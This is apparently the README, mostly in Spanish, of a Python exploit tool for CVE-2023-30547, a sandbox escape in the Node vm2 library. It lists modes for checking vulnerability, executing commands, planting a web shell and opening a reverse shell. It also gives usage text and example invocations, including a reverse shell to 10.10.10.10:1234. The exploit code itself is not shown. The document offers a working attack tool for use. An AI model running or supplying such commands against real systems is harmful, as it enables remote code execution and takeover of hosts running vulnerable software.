
Herramienta para explorar CVE-2023-30547

vm2 es un sandbox que puede ejecutar código no confiable con los módulos integrados de Node en lista blanca.
Existe una vulnerabilidad en la sanitización de excepciones de vm2 para versiones hasta la 3.9.16, que permite a los atacantes lanzar una excepción de host no saneada dentro de handleException() que puede usarse para escapar del sandbox y ejecutar código arbitrario en el contexto del host.
Esta herramienta es un simple script de Python que puede usarse para explorar la vulnerabilidad. Tiene 4 modos:
check: comprueba si el objetivo es vulnerable.command_execution_execution: ejecuta un comando en el objetivo.web_shell: abre un web shell en el objetivo.reverse_shell: abre una reverse shell en el objetivo.usage: CVE-2023-30547.py [-h] -m {check,command_execution,web_shell,reverse_shell} -t TARGET [-c COMMAND] [-p PORT] [-i IP]
Tool for exploring CVE-2023-30547.
options:
-h, --help show this help message and exit
-m {check,command_execution,web_shell,reverse_shell}, --mode {check,command_execution,web_shell,reverse_shell}
Mode to run the tool in.
-t TARGET, --target TARGET
Target to run the tool against.
-c COMMAND, --command COMMAND
Command to execute in exploit mode.
-p PORT, --port PORT Local port to use for reverse shell.
-i IP, --ip IP Local ip to use for reverse shell.
python3 CVE-2023-30547.py -m check -t http://url.com/run
python3 CVE-2023-30547.py -m reverse_shell -t domain.com/run -p 1234 -i 10.10.10.10
python3 CVE-2023-30547.py -m web_shell -t domain.com/run
python3 CVE-2023-30547.py -m command_execution -t domain.com -c 'whoami'